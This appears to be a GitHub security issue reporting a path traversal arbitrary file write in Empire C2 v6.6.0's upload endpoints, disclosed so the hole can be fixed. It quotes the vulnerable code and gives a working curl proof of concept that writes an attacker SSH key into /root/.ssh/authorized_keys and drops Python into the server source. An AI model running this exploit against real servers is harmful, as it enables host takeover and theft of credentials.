Skip to content

[BUG] Path traversal arbitrary file write in download/avatar upload (download_service.create_download) leads to remote code execution on the C2 host #824

Description

@geo-chen

Is there an existing issue for this?

  • I have searched the existing issues

Empire Version

v6.6.0

Python Version

Operating System

Linux

Database

MySQL

Current Behavior

Summary

Any authenticated Empire operator, including a low privileged non-admin operator, can write a file to an arbitrary absolute path on the Empire C2 server host. The multipart upload filename is used verbatim to build the destination path with no sanitization, so a filename containing ../ sequences escapes the downloads directory. Writing to a location such as /root/.ssh/authorized_keys or a Python file inside the Empire source tree yields remote code execution and full takeover of the C2 server, which holds every operator's listeners, credentials, and agent keys.

Details

The upload sink is DownloadService.create_download in empire/server/core/download_service.py:

148  def create_download(
149      self,
150      db: Session,
151      user: models.User,
152      file: UploadFile | Path,
153      tags: list[str] | None = None,
154  ):
...
160      filename = file.name if isinstance(file, Path) else file.filename
161
162      location = (
163          empire_config.directories.downloads / "uploads" / user.username / filename
164      )
165      location.parent.mkdir(parents=True, exist_ok=True)
166
167      filename, location = self._increment_filename(location)
168
169      with location.open("wb") as buffer:
170          if isinstance(file, Path):
171              with file.open("rb") as f:
172                  shutil.copyfileobj(f, buffer)
173          else:
174              shutil.copyfileobj(file.file, buffer)

file.filename is the client supplied multipart filename. Starlette does not normalize it (it is preserved verbatim, including ../). It is joined into the destination with pathlib's / operator, which does NOT collapse ... location.parent.mkdir(parents=True, exist_ok=True) then creates whatever parent chain the .. segments resolve to, and location.open("wb") writes the attacker controlled bytes there. There is no os.path.basename, no secure_filename, no base directory containment check (Path.resolve().is_relative_to(...)), and no rejection of ... _increment_filename only de-duplicates a name and does not contain the path.

Two endpoints reach this sink, both gated only by get_current_active_user (any logged in operator, admin or not):

  1. POST /api/v2/downloads/ in empire/server/api/v2/download/download_api.py:123-130:
123  @router.post("/", status_code=201, response_model=Download)
124  def create_download(
125      user: CurrentActiveUser,
126      db: CurrentSession,
127      download_service: DownloadServiceDep,
128      file: UploadFile = File(...),
129  ):
130      return domain_to_dto_download(download_service.create_download(db, user, file))

The router default is dependencies=[Depends(get_current_active_user)] (download_api.py:42).

  1. POST /api/v2/users/{uid}/avatar in empire/server/api/v2/user/user_api.py:184-200, which also calls update_user_avatar -> the same create path and only checks a trivially spoofable content_type.startswith("image/").

Contrast with the agent check-in file save path, which the project DID protect: empire/server/core/agent_communication_service.py gates writes through _is_path_safe (save_file.resolve().is_relative_to(download_dir.resolve())) and reduces the final component with Path(parts[-1]).name. The operator upload path has no equivalent guard, so the same class of bug that was defended on the implant channel is open on the authenticated API.

Because the default Docker image runs the server as root, writes land as root, making /root/.ssh/authorized_keys and overwriting server side Python both viable RCE primitives.

Expected Behavior

Steps To Reproduce

PoC

Server: default bcsecurity/empire:v6.6.0 container. Default admin is empireadmin / password123. The exploit only needs a regular (non-admin) operator account.

BASE=http://TARGET:1337

# Admin creates a regular, non-admin operator (or use any existing operator account)
ADMIN_TOK=$(curl -s $BASE/token -d "username=empireadmin&password=password123" \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
curl -s -X POST $BASE/api/v2/users/ -H "Authorization: Bearer $ADMIN_TOK" \
  -H "Content-Type: application/json" \
  -d '{"username":"lowpriv","password":"LowPrivPass123","is_admin":false}'

# Log in as the regular operator
LOW_TOK=$(curl -s $BASE/token -d "username=lowpriv&password=LowPrivPass123" \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")

# Arbitrary write outside the downloads directory using a ../ filename.
# Craft the multipart body by hand so the filename is not stripped client side.
printf -- '------B\r\nContent-Disposition: form-data; name="file"; filename="../../../../../../../../root/.ssh/authorized_keys"\r\nContent-Type: text/plain\r\n\r\nssh-ed25519 AAAA_ATTACKER_KEY attacker@evil\r\n------B--\r\n' > mp.bin
curl -s -X POST "$BASE/api/v2/downloads/" \
  -H "Authorization: Bearer $LOW_TOK" \
  -H "Content-Type: multipart/form-data; boundary=----B" \
  --data-binary @mp.bin -w "\nHTTP %{http_code}\n"

Observed real response (HTTP 201). The location echoed back contains the literal .. chain, and the file is created at the resolved absolute path on the host:

{"id":1,"location":"/root/.local/share/empire/downloads/uploads/lowpriv/../../../../../../../../tmp/EMPIRE_TRAVERSAL_PWN.txt","filename":"EMPIRE_TRAVERSAL_PWN.txt","size":54,...}
HTTP 201

Verifying on the host:

# cat /tmp/EMPIRE_TRAVERSAL_PWN.txt
written-by-regular-operator-lowpriv-via-path-traversal
# ls -la /root/.ssh/authorized_keys
-rw-r--r-- 1 root root ... /root/.ssh/authorized_keys   # contains the attacker key

A second run with filename="../../../../../../../../empire/empire/server/PWN_marker.py" wrote attacker Python into the server source tree (HTTP 201), which executes on import or plugin reload. Both confirm arbitrary write as root.

Impact

Authenticated arbitrary file write on the Empire C2 host as a regular (non-admin) operator. Practical consequences:

  • Remote code execution and full host takeover by dropping /root/.ssh/authorized_keys, a cron job, or overwriting a server side Python file that is imported.
  • Compromise of all other operators and all C2 state (listeners, harvested credentials, agent staging keys, the Empire database).
  • Privilege escalation: a low privileged operator who should not be able to change server configuration gains complete control of the server and every other operator's sessions.
    The vulnerable component writes outside its intended data directory into the host filesystem owned by a different security authority, so the scope is changed and the impact is critical.

Anything else?

Affected Versions: confirmed on v6.6.0 (commit dbe7e71)

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions